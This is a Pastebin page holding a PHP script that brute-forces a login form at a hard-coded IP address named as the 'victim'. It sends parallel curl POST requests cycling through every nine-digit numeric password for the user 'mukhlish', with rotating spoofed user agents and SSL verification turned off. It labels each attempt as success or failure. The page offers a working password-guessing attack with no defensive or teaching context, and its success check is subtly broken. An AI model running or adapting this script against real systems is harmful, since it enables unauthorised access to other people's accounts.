Advertisement
mukhlish

Untitled

Aug 17th, 2018
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.47 KB | None | 0 0
  1. <?php
  2.  
  3. class ParallelGet
  4. {
  5. function __construct($urls,$listPass)
  6. {
  7.  
  8. $mh = curl_multi_init();
  9.  
  10. foreach($urls as $i => $url)
  11. {
  12. $posting = "username=mukhlish&password=".$listPass[$i]."&submit=login";
  13. $post = array($posting,$posting,$posting,$posting);
  14. $useragent = array("Mozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1",
  15. "Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
  16. "Mozilla/5.0 (Windows NT 5.1; rv:52.0) Gecko/20100101 Firefox/52.0",
  17. "Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0"
  18. );
  19.  
  20. $ch[$i] = curl_init($url);
  21. curl_setopt($ch[$i], CURLOPT_RETURNTRANSFER, 1);
  22. curl_setopt($ch[$i], CURLOPT_NOBODY, 1);
  23. curl_setopt($ch[$i], CURLOPT_POSTFIELDS, $post[$i]);
  24. curl_setopt($ch[$i],CURLOPT_SSL_VERIFYPEER, false);
  25. curl_setopt($ch[$i], CURLOPT_HEADER, 0);
  26. curl_setopt($ch[$i],CURLOPT_SSL_VERIFYHOST, false);
  27. curl_setopt($ch[$i],CURLOPT_USERAGENT, $useragent[$i]);
  28. curl_multi_add_handle($mh, $ch[$i]);
  29. }
  30.  
  31.  
  32. $runningHandles = null;
  33. do {
  34. $execReturnValue = curl_multi_exec($mh, $runningHandles);
  35. } while ($execReturnValue == CURLM_CALL_MULTI_PERFORM);
  36.  
  37. while ($runningHandles && $execReturnValue == CURLM_OK)
  38. {
  39.  
  40. if (curl_multi_select($mh) != -1)
  41. {
  42. usleep(100);
  43. }
  44.  
  45. do {
  46. $execReturnValue = curl_multi_exec($mh, $runningHandles);
  47. } while ($execReturnValue == CURLM_CALL_MULTI_PERFORM);
  48. }
  49.  
  50. if ($execReturnValue != CURLM_OK)
  51. {
  52. trigger_error("Curl multi read error $execReturnValue\n", E_USER_WARNING);
  53. }
  54.  
  55. foreach ($urls as $i => $url)
  56. {
  57. $curlError = curl_error($ch[$i]);
  58.  
  59. if ($curlError == "")
  60. {
  61. print $responseContent = curl_multi_getcontent($ch[$i]);
  62. $res[$i] = $responseContent;
  63. }
  64. else
  65. {
  66. print "Curl error on handle $i: $curlError\n";
  67. }
  68. curl_multi_remove_handle($mh, $ch[$i]);
  69. curl_close($ch[$i]);
  70. }
  71.  
  72. curl_multi_close($mh);
  73.  
  74.  
  75. $akhir = microtime(true);
  76. $lama = substr(($akhir - $_SERVER["REQUEST_TIME_FLOAT"]),0,4);
  77.  
  78. foreach ($res as $key => $value)
  79. {
  80. if(preg_match("#HTTP/1.1 302#", $key))
  81. {
  82. print "{$value} Berhasil ".$listPass[$key]." {$lama}s \r\n";
  83. }else
  84. {
  85. print "{$value} GAGAL ".$listPass[$key]." {$lama}s \r\n";
  86. }
  87. }
  88.  
  89. }
  90. }
  91.  
  92. $vic = 'http://178.128.69.182/cre.php';
  93.  
  94. $victims = array($vic,$vic,$vic,$vic);
  95.  
  96. $much = 999999999;
  97.  
  98. for ($i=1; $i < $much; $i++) {
  99.  
  100. $password1 = str_pad($i, 9, '0', STR_PAD_LEFT);
  101.  
  102. $password2 = str_pad(++$i, 9, '0', STR_PAD_LEFT);
  103.  
  104.  
  105. $password3 = str_pad(++$i, 9, '0', STR_PAD_LEFT);
  106.  
  107. $password4 = str_pad(++$i, 9, '0', STR_PAD_LEFT);
  108.  
  109. $listPass = array($password1,$password2,$password3,$password4);
  110.  
  111. $getter = new ParallelGet($victims,$listPass);
  112. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement